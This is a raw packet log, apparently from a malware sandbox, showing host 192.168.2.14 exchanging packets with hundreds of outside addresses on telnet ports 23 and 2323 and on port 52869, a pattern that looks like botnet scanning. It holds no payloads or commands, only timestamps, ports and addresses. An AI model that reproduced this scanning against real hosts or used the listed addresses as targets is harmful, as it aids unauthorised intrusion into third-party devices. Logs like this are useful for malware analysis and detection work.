Dec 4, 2024 20:34:24.869571924 CET	52869	60019	41.121.193.74	192.168.2.14
Dec 4, 2024 20:34:24.869587898 CET	52869	60019	197.54.45.35	192.168.2.14
Dec 4, 2024 20:34:24.869610071 CET	60019	52869	192.168.2.14	41.121.193.74
Dec 4, 2024 20:34:24.869621992 CET	60019	52869	192.168.2.14	197.54.45.35
Dec 4, 2024 20:34:24.869631052 CET	52869	60019	41.253.238.10	192.168.2.14
Dec 4, 2024 20:34:24.869642019 CET	52869	60019	156.45.241.47	192.168.2.14
Dec 4, 2024 20:34:24.869657993 CET	52869	60019	197.34.186.210	192.168.2.14
Dec 4, 2024 20:34:24.869668961 CET	60019	52869	192.168.2.14	41.253.238.10
Dec 4, 2024 20:34:24.869668961 CET	60019	52869	192.168.2.14	156.45.241.47
Dec 4, 2024 20:34:24.869697094 CET	60019	52869	192.168.2.14	197.34.186.210
Dec 4, 2024 20:34:24.869721889 CET	52869	60019	156.26.239.52	192.168.2.14
Dec 4, 2024 20:34:24.869731903 CET	52869	60019	41.19.137.203	192.168.2.14
Dec 4, 2024 20:34:24.869741917 CET	52869	60019	197.214.232.179	192.168.2.14
Dec 4, 2024 20:34:24.869757891 CET	60019	52869	192.168.2.14	41.19.137.203
Dec 4, 2024 20:34:24.869762897 CET	60019	52869	192.168.2.14	156.26.239.52
Dec 4, 2024 20:34:24.869774103 CET	60019	52869	192.168.2.14	197.214.232.179
Dec 4, 2024 20:34:24.869787931 CET	52869	60019	41.71.199.38	192.168.2.14
Dec 4, 2024 20:34:24.869797945 CET	52869	60019	41.212.167.195	192.168.2.14
Dec 4, 2024 20:34:24.869806051 CET	52869	60019	197.187.86.147	192.168.2.14
Dec 4, 2024 20:34:24.869815111 CET	52869	60019	41.216.108.201	192.168.2.14
Dec 4, 2024 20:34:24.869822979 CET	60019	52869	192.168.2.14	41.71.199.38
Dec 4, 2024 20:34:24.869828939 CET	60019	52869	192.168.2.14	197.187.86.147
Dec 4, 2024 20:34:24.869828939 CET	60019	52869	192.168.2.14	41.212.167.195
Dec 4, 2024 20:34:24.869828939 CET	52869	60019	156.210.18.108	192.168.2.14
Dec 4, 2024 20:34:24.869843006 CET	60019	52869	192.168.2.14	41.216.108.201
Dec 4, 2024 20:34:24.869865894 CET	60019	52869	192.168.2.14	156.210.18.108
Dec 4, 2024 20:34:24.869894028 CET	52869	60019	41.178.157.213	192.168.2.14
Dec 4, 2024 20:34:24.869935036 CET	60019	52869	192.168.2.14	41.178.157.213
Dec 4, 2024 20:34:24.869936943 CET	52869	60019	156.205.167.63	192.168.2.14
Dec 4, 2024 20:34:24.869975090 CET	60019	52869	192.168.2.14	156.205.167.63
Dec 4, 2024 20:34:24.870003939 CET	52869	60019	197.21.28.40	192.168.2.14
Dec 4, 2024 20:34:24.870014906 CET	52869	60019	197.65.233.196	192.168.2.14
Dec 4, 2024 20:34:24.870023012 CET	52869	60019	197.21.83.188	192.168.2.14
Dec 4, 2024 20:34:24.870032072 CET	52869	60019	197.31.178.23	192.168.2.14
Dec 4, 2024 20:34:24.870040894 CET	52869	60019	156.242.83.176	192.168.2.14
Dec 4, 2024 20:34:24.870048046 CET	60019	52869	192.168.2.14	197.65.233.196
Dec 4, 2024 20:34:24.870049000 CET	60019	52869	192.168.2.14	197.21.28.40
Dec 4, 2024 20:34:24.870049953 CET	60019	52869	192.168.2.14	197.21.83.188
Dec 4, 2024 20:34:24.870050907 CET	52869	60019	41.206.89.9	192.168.2.14
Dec 4, 2024 20:34:24.870069027 CET	60019	52869	192.168.2.14	156.242.83.176
Dec 4, 2024 20:34:24.870073080 CET	60019	52869	192.168.2.14	197.31.178.23
Dec 4, 2024 20:34:24.870086908 CET	60019	52869	192.168.2.14	41.206.89.9
Dec 4, 2024 20:34:24.870114088 CET	52869	60019	41.128.202.213	192.168.2.14
Dec 4, 2024 20:34:24.870125055 CET	52869	60019	41.17.197.193	192.168.2.14
Dec 4, 2024 20:34:24.870132923 CET	52869	60019	41.126.57.46	192.168.2.14
Dec 4, 2024 20:34:24.870141983 CET	52869	60019	41.36.41.250	192.168.2.14
Dec 4, 2024 20:34:24.870151997 CET	60019	52869	192.168.2.14	41.128.202.213
Dec 4, 2024 20:34:24.870153904 CET	60019	52869	192.168.2.14	41.17.197.193
Dec 4, 2024 20:34:24.870156050 CET	52869	60019	197.137.64.88	192.168.2.14
Dec 4, 2024 20:34:24.870162010 CET	60019	52869	192.168.2.14	41.126.57.46
Dec 4, 2024 20:34:24.870168924 CET	52869	60019	197.53.69.3	192.168.2.14
Dec 4, 2024 20:34:24.870177984 CET	52869	60019	156.207.151.158	192.168.2.14
Dec 4, 2024 20:34:24.870179892 CET	60019	52869	192.168.2.14	41.36.41.250
Dec 4, 2024 20:34:24.870187044 CET	60019	52869	192.168.2.14	197.137.64.88
Dec 4, 2024 20:34:24.870208979 CET	60019	52869	192.168.2.14	156.207.151.158
Dec 4, 2024 20:34:24.870212078 CET	60019	52869	192.168.2.14	197.53.69.3
Dec 4, 2024 20:34:24.870273113 CET	52869	60019	156.122.146.138	192.168.2.14
Dec 4, 2024 20:34:24.870285034 CET	52869	60019	197.1.175.86	192.168.2.14
Dec 4, 2024 20:34:24.870312929 CET	60019	52869	192.168.2.14	156.122.146.138
Dec 4, 2024 20:34:24.870312929 CET	60019	52869	192.168.2.14	197.1.175.86
Dec 4, 2024 20:34:24.870317936 CET	52869	60019	156.66.255.73	192.168.2.14
Dec 4, 2024 20:34:24.870345116 CET	2323	60787	27.48.70.59	192.168.2.14
Dec 4, 2024 20:34:24.870357037 CET	60019	52869	192.168.2.14	156.66.255.73
Dec 4, 2024 20:34:24.870381117 CET	23	60787	147.21.164.59	192.168.2.14
Dec 4, 2024 20:34:24.870383024 CET	60787	2323	192.168.2.14	27.48.70.59
Dec 4, 2024 20:34:24.870419979 CET	60787	23	192.168.2.14	147.21.164.59
Dec 4, 2024 20:34:24.870424986 CET	23	60787	62.93.11.232	192.168.2.14
Dec 4, 2024 20:34:24.870466948 CET	60787	23	192.168.2.14	62.93.11.232
Dec 4, 2024 20:34:24.878690958 CET	23	60787	80.222.173.58	192.168.2.14
Dec 4, 2024 20:34:24.878736973 CET	60787	23	192.168.2.14	80.222.173.58
Dec 4, 2024 20:34:24.878750086 CET	23	60787	189.246.159.81	192.168.2.14
Dec 4, 2024 20:34:24.878793955 CET	60787	23	192.168.2.14	189.246.159.81
Dec 4, 2024 20:34:24.878825903 CET	23	60787	9.224.253.230	192.168.2.14
Dec 4, 2024 20:34:24.878837109 CET	23	60787	47.63.2.214	192.168.2.14
Dec 4, 2024 20:34:24.878844976 CET	23	60787	89.17.112.234	192.168.2.14
Dec 4, 2024 20:34:24.878861904 CET	23	60787	106.53.150.101	192.168.2.14
Dec 4, 2024 20:34:24.878861904 CET	60787	23	192.168.2.14	9.224.253.230
Dec 4, 2024 20:34:24.878869057 CET	60787	23	192.168.2.14	47.63.2.214
Dec 4, 2024 20:34:24.878871918 CET	23	60787	18.127.70.71	192.168.2.14
Dec 4, 2024 20:34:24.878881931 CET	2323	60787	75.110.88.115	192.168.2.14
Dec 4, 2024 20:34:24.878884077 CET	60787	23	192.168.2.14	89.17.112.234
Dec 4, 2024 20:34:24.878897905 CET	23	60787	173.61.69.182	192.168.2.14
Dec 4, 2024 20:34:24.878904104 CET	60787	23	192.168.2.14	18.127.70.71
Dec 4, 2024 20:34:24.878905058 CET	60787	23	192.168.2.14	106.53.150.101
Dec 4, 2024 20:34:24.878906012 CET	60787	2323	192.168.2.14	75.110.88.115
Dec 4, 2024 20:34:24.878909111 CET	23	60787	167.46.135.41	192.168.2.14
Dec 4, 2024 20:34:24.878937960 CET	60787	23	192.168.2.14	173.61.69.182
Dec 4, 2024 20:34:24.878940105 CET	23	60787	138.4.58.32	192.168.2.14
Dec 4, 2024 20:34:24.878942013 CET	60787	23	192.168.2.14	167.46.135.41
Dec 4, 2024 20:34:24.878959894 CET	23	60787	39.21.186.64	192.168.2.14
Dec 4, 2024 20:34:24.878976107 CET	60787	23	192.168.2.14	138.4.58.32
Dec 4, 2024 20:34:24.878978014 CET	23	60787	9.74.253.96	192.168.2.14
Dec 4, 2024 20:34:24.878988028 CET	23	60787	111.241.109.103	192.168.2.14
Dec 4, 2024 20:34:24.878997087 CET	60787	23	192.168.2.14	39.21.186.64
Dec 4, 2024 20:34:24.878998041 CET	23	60787	43.15.36.100	192.168.2.14
Dec 4, 2024 20:34:24.879009008 CET	60787	23	192.168.2.14	9.74.253.96
Dec 4, 2024 20:34:24.879024029 CET	60787	23	192.168.2.14	111.241.109.103
Dec 4, 2024 20:34:24.879024029 CET	23	60787	151.60.84.5	192.168.2.14
Dec 4, 2024 20:34:24.879030943 CET	60787	23	192.168.2.14	43.15.36.100
Dec 4, 2024 20:34:24.879034996 CET	2323	60787	150.219.202.136	192.168.2.14
Dec 4, 2024 20:34:24.879059076 CET	60787	2323	192.168.2.14	150.219.202.136
Dec 4, 2024 20:34:24.879062891 CET	60787	23	192.168.2.14	151.60.84.5
Dec 4, 2024 20:34:24.879097939 CET	23	60787	47.160.219.141	192.168.2.14
Dec 4, 2024 20:34:24.879106998 CET	23	60787	5.197.195.160	192.168.2.14
Dec 4, 2024 20:34:24.879117012 CET	23	60787	13.19.86.94	192.168.2.14
Dec 4, 2024 20:34:24.879125118 CET	23	60787	111.0.232.198	192.168.2.14
Dec 4, 2024 20:34:24.879132032 CET	60787	23	192.168.2.14	47.160.219.141
Dec 4, 2024 20:34:24.879138947 CET	23	60787	35.136.183.126	192.168.2.14
Dec 4, 2024 20:34:24.879143000 CET	60787	23	192.168.2.14	5.197.195.160
Dec 4, 2024 20:34:24.879153967 CET	60787	23	192.168.2.14	13.19.86.94
Dec 4, 2024 20:34:24.879153967 CET	60787	23	192.168.2.14	111.0.232.198
Dec 4, 2024 20:34:24.879163027 CET	23	60787	193.128.185.202	192.168.2.14
Dec 4, 2024 20:34:24.879185915 CET	60787	23	192.168.2.14	35.136.183.126
Dec 4, 2024 20:34:24.879199982 CET	60787	23	192.168.2.14	193.128.185.202
Dec 4, 2024 20:34:24.879627943 CET	23	60787	97.239.180.221	192.168.2.14
Dec 4, 2024 20:34:24.879651070 CET	23	60787	219.116.250.152	192.168.2.14
Dec 4, 2024 20:34:24.879669905 CET	60787	23	192.168.2.14	97.239.180.221
Dec 4, 2024 20:34:24.879683018 CET	60787	23	192.168.2.14	219.116.250.152
Dec 4, 2024 20:34:24.879692078 CET	2323	60787	65.66.210.17	192.168.2.14
Dec 4, 2024 20:34:24.879699945 CET	23	60787	109.74.82.42	192.168.2.14
Dec 4, 2024 20:34:24.879709005 CET	23	60787	141.186.211.229	192.168.2.14
Dec 4, 2024 20:34:24.879728079 CET	23	60787	94.81.196.116	192.168.2.14
Dec 4, 2024 20:34:24.879730940 CET	60787	2323	192.168.2.14	65.66.210.17
Dec 4, 2024 20:34:24.879729986 CET	60787	23	192.168.2.14	109.74.82.42
Dec 4, 2024 20:34:24.879745960 CET	60787	23	192.168.2.14	141.186.211.229
Dec 4, 2024 20:34:24.879764080 CET	60787	23	192.168.2.14	94.81.196.116
Dec 4, 2024 20:34:24.879813910 CET	23	60787	93.99.191.5	192.168.2.14
Dec 4, 2024 20:34:24.879853010 CET	60787	23	192.168.2.14	93.99.191.5
Dec 4, 2024 20:34:24.879853964 CET	23	60787	9.52.224.131	192.168.2.14
Dec 4, 2024 20:34:24.879894018 CET	60787	23	192.168.2.14	9.52.224.131
Dec 4, 2024 20:34:24.879920006 CET	23	60787	205.151.234.28	192.168.2.14
Dec 4, 2024 20:34:24.879957914 CET	60787	23	192.168.2.14	205.151.234.28
Dec 4, 2024 20:34:24.879976988 CET	23	60787	4.210.201.141	192.168.2.14
Dec 4, 2024 20:34:24.880016088 CET	60787	23	192.168.2.14	4.210.201.141
Dec 4, 2024 20:34:24.880069971 CET	23	60787	72.34.33.170	192.168.2.14
Dec 4, 2024 20:34:24.880079031 CET	23	60787	69.155.156.57	192.168.2.14
Dec 4, 2024 20:34:24.880084038 CET	23	60787	42.254.36.95	192.168.2.14
Dec 4, 2024 20:34:24.880088091 CET	23	60787	156.122.20.134	192.168.2.14
Dec 4, 2024 20:34:24.880095959 CET	2323	60787	146.70.29.219	192.168.2.14
Dec 4, 2024 20:34:24.880110979 CET	60787	23	192.168.2.14	69.155.156.57
Dec 4, 2024 20:34:24.880111933 CET	23	60787	98.68.253.151	192.168.2.14
Dec 4, 2024 20:34:24.880112886 CET	60787	23	192.168.2.14	72.34.33.170
Dec 4, 2024 20:34:24.880112886 CET	60787	23	192.168.2.14	42.254.36.95
Dec 4, 2024 20:34:24.880119085 CET	60787	23	192.168.2.14	156.122.20.134
Dec 4, 2024 20:34:24.880124092 CET	60787	2323	192.168.2.14	146.70.29.219
Dec 4, 2024 20:34:24.880137920 CET	23	60787	44.27.45.157	192.168.2.14
Dec 4, 2024 20:34:24.880146980 CET	60787	23	192.168.2.14	98.68.253.151
Dec 4, 2024 20:34:24.880161047 CET	23	60787	101.141.119.19	192.168.2.14
Dec 4, 2024 20:34:24.880173922 CET	23	60787	191.169.160.194	192.168.2.14
Dec 4, 2024 20:34:24.880179882 CET	60787	23	192.168.2.14	44.27.45.157
Dec 4, 2024 20:34:24.880187035 CET	23	60787	202.167.173.252	192.168.2.14
Dec 4, 2024 20:34:24.880191088 CET	60787	23	192.168.2.14	101.141.119.19
Dec 4, 2024 20:34:24.880208969 CET	60787	23	192.168.2.14	191.169.160.194
Dec 4, 2024 20:34:24.880223036 CET	60787	23	192.168.2.14	202.167.173.252
Dec 4, 2024 20:34:24.880305052 CET	23	60787	200.56.113.148	192.168.2.14
Dec 4, 2024 20:34:24.880315065 CET	23	60787	41.226.196.109	192.168.2.14
Dec 4, 2024 20:34:24.880322933 CET	23	60787	40.102.149.125	192.168.2.14
Dec 4, 2024 20:34:24.880331993 CET	23	60787	167.43.96.239	192.168.2.14
Dec 4, 2024 20:34:24.880342007 CET	2323	60787	53.119.108.81	192.168.2.14
Dec 4, 2024 20:34:24.880345106 CET	60787	23	192.168.2.14	200.56.113.148
Dec 4, 2024 20:34:24.880346060 CET	60787	23	192.168.2.14	41.226.196.109
Dec 4, 2024 20:34:24.880348921 CET	60787	23	192.168.2.14	40.102.149.125
Dec 4, 2024 20:34:24.880358934 CET	23	60787	160.22.115.24	192.168.2.14
Dec 4, 2024 20:34:24.880364895 CET	60787	23	192.168.2.14	167.43.96.239
Dec 4, 2024 20:34:24.880367994 CET	23	60787	31.59.240.194	192.168.2.14
Dec 4, 2024 20:34:24.880376101 CET	23	60787	198.181.1.123	192.168.2.14
Dec 4, 2024 20:34:24.880379915 CET	60787	2323	192.168.2.14	53.119.108.81
Dec 4, 2024 20:34:24.880394936 CET	60787	23	192.168.2.14	31.59.240.194
Dec 4, 2024 20:34:24.880394936 CET	60787	23	192.168.2.14	160.22.115.24
Dec 4, 2024 20:34:24.880409956 CET	60787	23	192.168.2.14	198.181.1.123
Dec 4, 2024 20:34:24.881175995 CET	23	60787	35.98.255.146	192.168.2.14
Dec 4, 2024 20:34:24.881217003 CET	60787	23	192.168.2.14	35.98.255.146
Dec 4, 2024 20:34:24.881246090 CET	23	60787	37.42.218.190	192.168.2.14
Dec 4, 2024 20:34:24.881256104 CET	23	60787	158.95.99.26	192.168.2.14
Dec 4, 2024 20:34:24.881264925 CET	23	60787	126.169.120.92	192.168.2.14
Dec 4, 2024 20:34:24.881280899 CET	23	60787	164.247.38.43	192.168.2.14
Dec 4, 2024 20:34:24.881285906 CET	60787	23	192.168.2.14	37.42.218.190
Dec 4, 2024 20:34:24.881292105 CET	60787	23	192.168.2.14	126.169.120.92
Dec 4, 2024 20:34:24.881294012 CET	60787	23	192.168.2.14	158.95.99.26
Dec 4, 2024 20:34:24.881300926 CET	23	60787	177.51.74.9	192.168.2.14
Dec 4, 2024 20:34:24.881309986 CET	2323	60787	48.195.150.165	192.168.2.14
Dec 4, 2024 20:34:24.881313086 CET	60787	23	192.168.2.14	164.247.38.43
Dec 4, 2024 20:34:24.881320000 CET	23	60787	166.107.159.75	192.168.2.14
Dec 4, 2024 20:34:24.881329060 CET	23	60787	157.84.20.131	192.168.2.14
Dec 4, 2024 20:34:24.881333113 CET	60787	23	192.168.2.14	177.51.74.9
Dec 4, 2024 20:34:24.881345987 CET	23	60787	155.144.101.10	192.168.2.14
Dec 4, 2024 20:34:24.881347895 CET	60787	2323	192.168.2.14	48.195.150.165
Dec 4, 2024 20:34:24.881352901 CET	60787	23	192.168.2.14	166.107.159.75
Dec 4, 2024 20:34:24.881356001 CET	23	60787	103.100.99.46	192.168.2.14
Dec 4, 2024 20:34:24.881359100 CET	60787	23	192.168.2.14	157.84.20.131
Dec 4, 2024 20:34:24.881373882 CET	60787	23	192.168.2.14	155.144.101.10
Dec 4, 2024 20:34:24.881388903 CET	60787	23	192.168.2.14	103.100.99.46
Dec 4, 2024 20:34:24.881416082 CET	23	60787	211.215.183.159	192.168.2.14
Dec 4, 2024 20:34:24.881426096 CET	23	60787	189.109.212.38	192.168.2.14
Dec 4, 2024 20:34:24.881433964 CET	23	60787	2.35.55.86	192.168.2.14
Dec 4, 2024 20:34:24.881444931 CET	23	60787	47.193.45.203	192.168.2.14
Dec 4, 2024 20:34:24.881453037 CET	60787	23	192.168.2.14	211.215.183.159
Dec 4, 2024 20:34:24.881455898 CET	60787	23	192.168.2.14	189.109.212.38
Dec 4, 2024 20:34:24.881473064 CET	60787	23	192.168.2.14	2.35.55.86
Dec 4, 2024 20:34:24.881481886 CET	60787	23	192.168.2.14	47.193.45.203
Dec 4, 2024 20:34:24.881501913 CET	23	60787	169.233.207.208	192.168.2.14
Dec 4, 2024 20:34:24.881513119 CET	2323	60787	152.135.56.180	192.168.2.14
Dec 4, 2024 20:34:24.881520033 CET	23	60787	200.10.201.91	192.168.2.14
Dec 4, 2024 20:34:24.881530046 CET	23	60787	202.250.28.242	192.168.2.14
Dec 4, 2024 20:34:24.881540060 CET	23	60787	114.188.27.52	192.168.2.14
Dec 4, 2024 20:34:24.881545067 CET	60787	23	192.168.2.14	169.233.207.208
Dec 4, 2024 20:34:24.881548882 CET	23	60787	223.143.33.230	192.168.2.14
Dec 4, 2024 20:34:24.881550074 CET	60787	2323	192.168.2.14	152.135.56.180
Dec 4, 2024 20:34:24.881561995 CET	60787	23	192.168.2.14	200.10.201.91
Dec 4, 2024 20:34:24.881565094 CET	60787	23	192.168.2.14	202.250.28.242
Dec 4, 2024 20:34:24.881572962 CET	60787	23	192.168.2.14	223.143.33.230
Dec 4, 2024 20:34:24.881573915 CET	60787	23	192.168.2.14	114.188.27.52
Dec 4, 2024 20:34:24.881998062 CET	23	60787	114.202.83.147	192.168.2.14
Dec 4, 2024 20:34:24.882006884 CET	23	60787	101.99.146.125	192.168.2.14
Dec 4, 2024 20:34:24.882016897 CET	23	60787	76.204.60.26	192.168.2.14
Dec 4, 2024 20:34:24.882025957 CET	23	60787	190.0.165.238	192.168.2.14
Dec 4, 2024 20:34:24.882034063 CET	23	60787	117.20.180.62	192.168.2.14
Dec 4, 2024 20:34:24.882039070 CET	60787	23	192.168.2.14	114.202.83.147
Dec 4, 2024 20:34:24.882039070 CET	60787	23	192.168.2.14	101.99.146.125
Dec 4, 2024 20:34:24.882044077 CET	2323	60787	84.3.185.5	192.168.2.14
Dec 4, 2024 20:34:24.882045984 CET	60787	23	192.168.2.14	76.204.60.26
Dec 4, 2024 20:34:24.882052898 CET	23	60787	68.111.81.143	192.168.2.14
Dec 4, 2024 20:34:24.882055044 CET	60787	23	192.168.2.14	190.0.165.238
Dec 4, 2024 20:34:24.882061958 CET	23	60787	27.177.193.32	192.168.2.14
Dec 4, 2024 20:34:24.882072926 CET	60787	2323	192.168.2.14	84.3.185.5
Dec 4, 2024 20:34:24.882072926 CET	23	60787	158.89.87.178	192.168.2.14
Dec 4, 2024 20:34:24.882074118 CET	60787	23	192.168.2.14	117.20.180.62
Dec 4, 2024 20:34:24.882086039 CET	60787	23	192.168.2.14	68.111.81.143
Dec 4, 2024 20:34:24.882106066 CET	60787	23	192.168.2.14	158.89.87.178
Dec 4, 2024 20:34:24.882108927 CET	60787	23	192.168.2.14	27.177.193.32
Dec 4, 2024 20:34:24.882216930 CET	23	60787	45.21.71.38	192.168.2.14
Dec 4, 2024 20:34:24.882227898 CET	23	60787	81.240.129.89	192.168.2.14
Dec 4, 2024 20:34:24.882236004 CET	23	60787	36.231.152.94	192.168.2.14
Dec 4, 2024 20:34:24.882245064 CET	23	60787	148.189.118.146	192.168.2.14
Dec 4, 2024 20:34:24.882252932 CET	23	60787	27.58.77.98	192.168.2.14
Dec 4, 2024 20:34:24.882256031 CET	60787	23	192.168.2.14	45.21.71.38
Dec 4, 2024 20:34:24.882260084 CET	60787	23	192.168.2.14	81.240.129.89
Dec 4, 2024 20:34:24.882261992 CET	23	60787	58.170.89.169	192.168.2.14
Dec 4, 2024 20:34:24.882271051 CET	2323	60787	110.66.173.220	192.168.2.14
Dec 4, 2024 20:34:24.882272959 CET	60787	23	192.168.2.14	36.231.152.94
Dec 4, 2024 20:34:24.882277012 CET	60787	23	192.168.2.14	148.189.118.146
Dec 4, 2024 20:34:24.882281065 CET	23	60787	115.18.96.233	192.168.2.14
Dec 4, 2024 20:34:24.882286072 CET	60787	23	192.168.2.14	27.58.77.98
Dec 4, 2024 20:34:24.882289886 CET	23	60787	126.61.18.86	192.168.2.14
Dec 4, 2024 20:34:24.882291079 CET	60787	23	192.168.2.14	58.170.89.169
Dec 4, 2024 20:34:24.882301092 CET	60787	2323	192.168.2.14	110.66.173.220
Dec 4, 2024 20:34:24.882301092 CET	60787	23	192.168.2.14	115.18.96.233
Dec 4, 2024 20:34:24.882322073 CET	60787	23	192.168.2.14	126.61.18.86
Dec 4, 2024 20:34:24.894104958 CET	23	60787	8.94.3.89	192.168.2.14
Dec 4, 2024 20:34:24.894114971 CET	23	60787	57.56.102.81	192.168.2.14
Dec 4, 2024 20:34:24.894124031 CET	23	60787	149.99.170.13	192.168.2.14
Dec 4, 2024 20:34:24.894134045 CET	2323	60787	201.61.124.73	192.168.2.14
Dec 4, 2024 20:34:24.894143105 CET	23	60787	151.148.106.135	192.168.2.14
Dec 4, 2024 20:34:24.894144058 CET	60787	23	192.168.2.14	57.56.102.81
Dec 4, 2024 20:34:24.894148111 CET	60787	23	192.168.2.14	8.94.3.89
Dec 4, 2024 20:34:24.894151926 CET	60787	23	192.168.2.14	149.99.170.13
Dec 4, 2024 20:34:24.894165993 CET	60787	2323	192.168.2.14	201.61.124.73
Dec 4, 2024 20:34:24.894167900 CET	23	60787	171.236.30.104	192.168.2.14
Dec 4, 2024 20:34:24.894176960 CET	23	60787	82.183.243.117	192.168.2.14
Dec 4, 2024 20:34:24.894196987 CET	60787	23	192.168.2.14	151.148.106.135
Dec 4, 2024 20:34:24.894202948 CET	60787	23	192.168.2.14	82.183.243.117
Dec 4, 2024 20:34:24.894208908 CET	60787	23	192.168.2.14	171.236.30.104
Dec 4, 2024 20:34:24.894280910 CET	23	60787	67.111.198.172	192.168.2.14
Dec 4, 2024 20:34:24.894295931 CET	23	60787	119.251.158.113	192.168.2.14
Dec 4, 2024 20:34:24.894304991 CET	23	60787	108.11.143.146	192.168.2.14
Dec 4, 2024 20:34:24.894314051 CET	23	60787	116.118.46.237	192.168.2.14
Dec 4, 2024 20:34:24.894321918 CET	23	60787	219.101.179.170	192.168.2.14
Dec 4, 2024 20:34:24.894324064 CET	60787	23	192.168.2.14	67.111.198.172
Dec 4, 2024 20:34:24.894325972 CET	60787	23	192.168.2.14	119.251.158.113
Dec 4, 2024 20:34:24.894332886 CET	23	60787	209.191.180.52	192.168.2.14
Dec 4, 2024 20:34:24.894342899 CET	60787	23	192.168.2.14	108.11.143.146
Dec 4, 2024 20:34:24.894351959 CET	23	60787	185.51.93.175	192.168.2.14
Dec 4, 2024 20:34:24.894356012 CET	60787	23	192.168.2.14	209.191.180.52
Dec 4, 2024 20:34:24.894359112 CET	60787	23	192.168.2.14	116.118.46.237
Dec 4, 2024 20:34:24.894359112 CET	60787	23	192.168.2.14	219.101.179.170
Dec 4, 2024 20:34:24.894371986 CET	23	60787	86.23.184.255	192.168.2.14
Dec 4, 2024 20:34:24.894380093 CET	2323	60787	207.246.48.88	192.168.2.14
Dec 4, 2024 20:34:24.894383907 CET	23	60787	204.158.225.75	192.168.2.14
Dec 4, 2024 20:34:24.894392014 CET	60787	23	192.168.2.14	185.51.93.175
Dec 4, 2024 20:34:24.894392967 CET	23	60787	89.22.194.119	192.168.2.14
Dec 4, 2024 20:34:24.894403934 CET	23	60787	91.89.29.76	192.168.2.14
Dec 4, 2024 20:34:24.894409895 CET	60787	23	192.168.2.14	204.158.225.75
Dec 4, 2024 20:34:24.894412994 CET	23	60787	165.115.103.145	192.168.2.14
Dec 4, 2024 20:34:24.894413948 CET	60787	23	192.168.2.14	86.23.184.255
Dec 4, 2024 20:34:24.894419909 CET	60787	2323	192.168.2.14	207.246.48.88
Dec 4, 2024 20:34:24.894432068 CET	23	60787	172.95.97.189	192.168.2.14
Dec 4, 2024 20:34:24.894435883 CET	60787	23	192.168.2.14	89.22.194.119
Dec 4, 2024 20:34:24.894435883 CET	60787	23	192.168.2.14	91.89.29.76
Dec 4, 2024 20:34:24.894443035 CET	23	60787	122.151.0.106	192.168.2.14
Dec 4, 2024 20:34:24.894450903 CET	23	60787	185.44.35.170	192.168.2.14
Dec 4, 2024 20:34:24.894453049 CET	60787	23	192.168.2.14	165.115.103.145
Dec 4, 2024 20:34:24.894459009 CET	23	60787	75.214.127.177	192.168.2.14
Dec 4, 2024 20:34:24.894468069 CET	23	60787	59.250.112.69	192.168.2.14
Dec 4, 2024 20:34:24.894474983 CET	60787	23	192.168.2.14	172.95.97.189
Dec 4, 2024 20:34:24.894474983 CET	60787	23	192.168.2.14	122.151.0.106
Dec 4, 2024 20:34:24.894479036 CET	60787	23	192.168.2.14	185.44.35.170
Dec 4, 2024 20:34:24.894484997 CET	60787	23	192.168.2.14	75.214.127.177
Dec 4, 2024 20:34:24.894493103 CET	23	60787	159.8.112.175	192.168.2.14
Dec 4, 2024 20:34:24.894501925 CET	23	60787	43.146.75.112	192.168.2.14
Dec 4, 2024 20:34:24.894503117 CET	60787	23	192.168.2.14	59.250.112.69
Dec 4, 2024 20:34:24.894511938 CET	23	60787	67.134.95.66	192.168.2.14
Dec 4, 2024 20:34:24.894531965 CET	60787	23	192.168.2.14	159.8.112.175
Dec 4, 2024 20:34:24.894535065 CET	60787	23	192.168.2.14	43.146.75.112
Dec 4, 2024 20:34:24.894542933 CET	60787	23	192.168.2.14	67.134.95.66
Dec 4, 2024 20:34:24.895093918 CET	2323	60787	38.213.157.174	192.168.2.14
Dec 4, 2024 20:34:24.895133972 CET	23	60787	24.193.204.155	192.168.2.14
Dec 4, 2024 20:34:24.895133972 CET	60787	2323	192.168.2.14	38.213.157.174
Dec 4, 2024 20:34:24.895150900 CET	23	60787	76.150.235.120	192.168.2.14
Dec 4, 2024 20:34:24.895159960 CET	23	60787	181.138.93.128	192.168.2.14
Dec 4, 2024 20:34:24.895168066 CET	60787	23	192.168.2.14	24.193.204.155
Dec 4, 2024 20:34:24.895172119 CET	60787	23	192.168.2.14	76.150.235.120
Dec 4, 2024 20:34:24.895194054 CET	60787	23	192.168.2.14	181.138.93.128
Dec 4, 2024 20:34:24.895211935 CET	23	60787	65.7.57.7	192.168.2.14
Dec 4, 2024 20:34:24.895221949 CET	23	60787	86.11.210.41	192.168.2.14
Dec 4, 2024 20:34:24.895241976 CET	23	60787	184.200.58.249	192.168.2.14
Dec 4, 2024 20:34:24.895251989 CET	23	60787	156.118.54.86	192.168.2.14
Dec 4, 2024 20:34:24.895252943 CET	60787	23	192.168.2.14	65.7.57.7
Dec 4, 2024 20:34:24.895252943 CET	60787	23	192.168.2.14	86.11.210.41
Dec 4, 2024 20:34:24.895262957 CET	23	60787	151.122.189.194	192.168.2.14
Dec 4, 2024 20:34:24.895282984 CET	60787	23	192.168.2.14	184.200.58.249
Dec 4, 2024 20:34:24.895283937 CET	2323	60787	218.192.232.102	192.168.2.14
Dec 4, 2024 20:34:24.895286083 CET	60787	23	192.168.2.14	156.118.54.86
Dec 4, 2024 20:34:24.895299911 CET	23	60787	108.25.29.74	192.168.2.14
Dec 4, 2024 20:34:24.895301104 CET	60787	23	192.168.2.14	151.122.189.194
Dec 4, 2024 20:34:24.895323992 CET	60787	2323	192.168.2.14	218.192.232.102
Dec 4, 2024 20:34:24.895330906 CET	60787	23	192.168.2.14	108.25.29.74
Dec 4, 2024 20:34:24.895375013 CET	23	60787	103.213.103.198	192.168.2.14
Dec 4, 2024 20:34:24.895390034 CET	23	60787	40.217.28.59	192.168.2.14
Dec 4, 2024 20:34:24.895399094 CET	23	60787	89.41.233.186	192.168.2.14
Dec 4, 2024 20:34:24.895412922 CET	60787	23	192.168.2.14	103.213.103.198
Dec 4, 2024 20:34:24.895426989 CET	60787	23	192.168.2.14	40.217.28.59
Dec 4, 2024 20:34:24.895432949 CET	60787	23	192.168.2.14	89.41.233.186
Dec 4, 2024 20:34:24.895436049 CET	23	60787	48.244.78.13	192.168.2.14
Dec 4, 2024 20:34:24.895447016 CET	23	60787	62.56.26.201	192.168.2.14
Dec 4, 2024 20:34:24.895457029 CET	23	60787	102.22.231.195	192.168.2.14
Dec 4, 2024 20:34:24.895476103 CET	60787	23	192.168.2.14	48.244.78.13
Dec 4, 2024 20:34:24.895479918 CET	60787	23	192.168.2.14	62.56.26.201
Dec 4, 2024 20:34:24.895498037 CET	60787	23	192.168.2.14	102.22.231.195
